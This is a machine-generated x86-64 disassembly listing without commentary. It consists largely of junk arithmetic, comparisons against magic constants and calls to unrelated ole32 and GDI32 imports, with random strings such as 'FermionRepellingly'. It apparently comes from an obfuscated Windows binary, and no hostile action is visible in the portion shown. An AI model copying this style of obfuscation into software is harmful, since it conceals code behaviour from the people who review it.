mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4b08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x128], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [0x140169c40]
mov rcx, qword [0x140169c48]
mov qword [rsp + 0x4c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4bc0], rax
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [str.Eo_Bl__e], al
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ba0]
shl rax, cl
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x128], al
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12b], al
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140168a78], eax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2830], eax
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
sar eax, cl
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12a]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov word [rcx], ax
jmp 0x14001842c
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
or rax, rcx
cmp rax, qword [0x140169c40]
jne 0x140018afe
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x125]
add ecx, edx
cmp eax, ecx
jne 0x140018adc
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa08]
sub eax, ecx
movsx ecx, word [rsp + 0xab8]
mov rdx, qword [rsp + 0x4c60]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140018acf
lea rax, [rsp + 0x127]
mov qword [rsp + 0x4c80], rax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x2860], eax
cmp dword [rsp + 0x2860], 0
je 0x1400189a7
cmp dword [rsp + 0x2860], 0x71b13b7
je 0x140018ab0
jmp 0x140018acf
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4c70]
movsx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
je 0x140018aae
mov eax, dword [rsp + 0x27c0]
movzx ecx, al
mov eax, dword [rsp + 0x27ac]
shl eax, cl
mov dword [rsp + 0x2798], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov eax, dword [rsp + 0x27ec]
mov dword [rsp + 0x2864], eax
cmp dword [rsp + 0x2864], 0x3e007ac7
je 0x140018a32
jmp 0x140018a92
lea rdx, [rsp + 0x2798]
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x27f8], eax
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4bf0]
mov qword [rsp + 0x4c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c88]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movzx ecx, byte [rsp + 0x129]
call fcn.140147df0
nop
jmp 0x140018aae
mov rax, qword [0x140169c48]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4bc0], rax
jmp 0x140018acf
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov dword [rsp + 0x2868], 0x13c
jmp 0x140018af9
lea rdx, [rsp + 0x127]
lea rcx, [rsp + 0x4c38]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x2848], eax
jmp 0x140018c59
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov ecx, dword [rcx]
mov edx, dword [0x140168a78]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140018c59
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
movsx eax, byte [str.Eo_Bl__e]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4b80]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140018c59
movzx eax, word [rsp + 0x930]
mov dword [rsp + 0x286c], eax
cmp dword [rsp + 0x286c], 0x55
je 0x140018bb2
cmp dword [rsp + 0x286c], 0xe5a
je 0x140018c3a
jmp 0x140018c59
lea rcx, [rsp + 0x1d7e0]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x2870], eax
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0x12b], al
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
lea rcx, [rsp + 0x27ec]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x2870], eax
jmp 0x140018c59
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
movzx ecx, byte [rsp + 0x126]
mov rdx, qword [rsp + 0x4ad0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140018d61
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x127]
shl eax, cl
movzx ecx, byte [rsp + 0x126]
mov rdx, qword [rsp + 0x4c80]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jl 0x140018d12
mov eax, dword [rsp + 0x2830]
mov dword [rsp + 0x2874], eax
cmp dword [rsp + 0x2874], 0x3d1f4163
je 0x140018cfb
cmp dword [rsp + 0x2874], 0x4b825e21
je 0x140018ce0
jmp 0x140018d12
mov rax, qword [rsp + 0x4c58]
mov ecx, dword [rsp + 0x2830]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140168a78], eax
jmp 0x140018d12
mov edx, dword [rsp + 0x27ac]
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rax]
call fcn.140148a70
nop
lea rax, [rsp + 0x4ba0]
mov qword [rsp + 0x4c90], rax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4c98], rax
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov dword [rsp + 0x2878], 0x3ae4
jmp 0x140018db1
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4ca0]
call qword [sym.imp.GDI32.dll_BeginPath]
mov dword [rsp + 0x27d4], eax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4c00]
movzx eax, byte [rax]
mov byte [rsp + 0x287c], al
cmp byte [rsp + 0x287c], 0
je 0x140018de0
cmp byte [rsp + 0x287c], 0x2e
je 0x140019021
jmp 0x14001905a
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov rdx, qword [rsp + 0x4b50]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x140018fd5
lea rax, [0x140169c50]
mov qword [rsp + 0x4ca8], rax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4bc0]
mov rdx, qword [0x140169c40]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x140018fbe
mov eax, dword [rsp + 0x27ec]
mov dword [rsp + 0x2880], eax
cmp dword [rsp + 0x2880], 0
je 0x140018e85
cmp dword [rsp + 0x2880], 0x2aca3a22
je 0x140018f9d
jmp 0x140018fbc
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
and eax, ecx
movzx ecx, byte [rsp + 0x126]
movzx edx, byte [rsp + 0x127]
add ecx, edx
cmp eax, ecx
jge 0x140018f0f
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
lea rdx, [rsp + 0xabc]
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_GetWindowExtEx]
mov dword [rsp + 0x2884], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4cb8], rax
cmp qword [rsp + 0x4cb8], 0
je 0x140018f2e
jmp 0x140018f7f
lea rax, [rsp + 0x2830]
mov qword [0x140169c58], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x2888], eax
mov rax, qword [0x140169c58]
mov rcx, qword [rsp + 0x4c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea rax, [rsp + 0x4ba0]
mov qword [rsp + 0x4cc0], rax
jmp 0x140018f9b
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12b], al
jmp 0x140018fbc
movsx eax, word [0x140169c50]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov word [rcx], ax
jmp 0x140018fd3
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x27c0], eax
jmp 0x14001901f
movsx eax, byte [str.Eo_Bl__e]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x12a]
add ecx, edx
cmp eax, ecx
jge 0x14001901f
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
jmp 0x14001905a
movzx eax, byte [rsp + 0x12b]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x4c98]
mov rax, qword [rsp + 0x4c70]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x125]
mov rax, qword [rsp + 0x4ac8]
movzx ecx, word [rax]
call fcn.140148200
nop
movzx eax, byte [rsp + 0x126]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov rdx, qword [rsp + 0x4c50]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x140147376
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2888]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xab0]
mov rdx, qword [rsp + 0x4ac0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400191d8
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
mov dword [rsp + 0x288c], eax
cmp dword [rsp + 0x288c], 0x252e
je 0x140019159
jmp 0x1400191b7
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bd8]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
shl eax, cl
mov word [rsp + 0x9b0], ax
lea r8, [rsp + 0x27a0]
mov edx, 0x44
lea rcx, str.FermionRepellingly
call qword [sym.imp.GDI32.dll_RemoveFontResourceExW]
mov dword [rsp + 0x2890], eax
jmp 0x1400191d3
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
or eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
jmp 0x140019302
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
and eax, ecx
movzx ecx, byte [rsp + 0x127]
mov rdx, qword [rsp + 0x4ae8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140019302
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x4cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2798]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1400192cb
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x2894], eax
cmp dword [rsp + 0x2894], 0xff99c16
je 0x1400192ac
cmp dword [rsp + 0x2894], 0x4537f766
je 0x140019279
jmp 0x1400192cb
mov rax, qword [rsp + 0x4bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4c80]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x1400192cb
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov dword [rsp + 0x2898], 0x5924
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4b38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140168a80], ax
lea rax, [rsp + 0x4b08]
mov qword [rsp + 0x4ce0], rax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x289c], al
cmp byte [rsp + 0x289c], 9
je 0x14001931d
jmp 0x14001935d
mov rax, qword [rsp + 0x4c70]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [0x140169c48]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x12b]
mov rax, qword [rsp + 0x4b40]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x9b0]
call fcn.140148200
nop
jmp 0x1401472f6
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x930]
add ecx, edx
cmp eax, ecx
je 0x140019450
mov r9d, 0x74
mov r8d, 0xf7
mov edx, 0xbf
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_FloodFill]
mov dword [rsp + 0x28a0], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov qword [rsp + 0x4ce8], rax
movabs rax, 0xe70d2492e251f265
cmp qword [rsp + 0x4ce8], rax
je 0x1400193e0
jmp 0x14001940f
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
xor eax, ecx
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
movzx ecx, byte [rsp + 0x126]
call fcn.140147df0
nop
jmp 0x14001944b
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
shl eax, cl
mov byte [rsp + 0x12a], al
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
jmp 0x140147286
movzx eax, byte [rsp + 0x12b]
mov byte [rsp + 0x28a4], al
cmp byte [rsp + 0x28a4], 0
je 0x14001947c
cmp byte [rsp + 0x28a4], 6
je 0x14014715c
jmp 0x14014725b
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x129]
movzx edx, byte [rsp + 0x127]
add ecx, edx
cmp eax, ecx
jl 0x140019573
mov eax, dword [rsp + 0x27c0]
mov dword [rsp + 0x28a8], eax
cmp dword [rsp + 0x28a8], 0xfedcc70a
je 0x1400194cb
jmp 0x1400194e9
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
jmp 0x140019535
mov rax, qword [rsp + 0x4c80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
and eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xab0], ax
lea rax, [rsp + 0x930]
mov qword [rsp + 0x4cf0], rax
lea rax, [rsp + 0xabc]
mov qword [0x140169c60], rax
mov rax, qword [rsp + 0x4c70]
movzx eax, byte [rax]
mov byte [rsp + 0x28ac], al
cmp byte [rsp + 0x28ac], 0x64
je 0x140019562
jmp 0x140019573
mov rax, qword [rsp + 0x4c80]
movzx ecx, byte [rax]
call fcn.140147df0
nop
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x28b0], al
cmp byte [rsp + 0x28b0], 0x67
je 0x1400195b2
jmp 0x1400196d3
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov qword [rsp + 0x4cf8], rax
movabs rax, 0x5acf06018e1d2223
cmp qword [rsp + 0x4cf8], rax
je 0x1400195de
jmp 0x1400196ae
mov eax, dword [rsp + 0x2798]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x4d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
lea r8, [rsp + 0x27c0]
mov edx, 0xae
lea rcx, str.Lampoon_rewiringOriginate
call qword [sym.imp.GDI32.dll_RemoveFontResourceExW]
mov dword [rsp + 0x28a0], eax
mov rax, qword [0x140169c40]
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
shl rax, cl
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
lea r9, [rsp + 0x27e0]
mov r8d, 0x55
mov edx, 0x1d
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov dword [rsp + 0x28b4], eax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [rsp + 0x126], al
jmp 0x1400196ce
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
and eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
jmp 0x140019770
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x28b8], eax
cmp dword [rsp + 0x28b8], 0x53838491
je 0x1400196f3
jmp 0x140019706
mov rax, qword [rsp + 0x4ad0]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x140019770
mov rax, qword [rsp + 0x4ca8]
movzx eax, word [rax]
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov word [rsp + 0x9b0], ax
lea rax, [rsp + 0x12a]
mov qword [0x140169c68], rax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
cmp dword [rsp + 0x2868], 0x552d
jae 0x140019d01
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x4c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bc0], rax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
xor eax, ecx
mov word [0x140168a7c], ax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
shl eax, cl
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c98], rax
movzx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x4c98]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [0x140168a80]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x27ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2888], eax
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4c98]
movzx ecx, al
mov rax, qword [0x140169c40]
shl rax, cl
mov qword [rsp + 0x4bc0], rax
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa08]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x930]
and eax, ecx
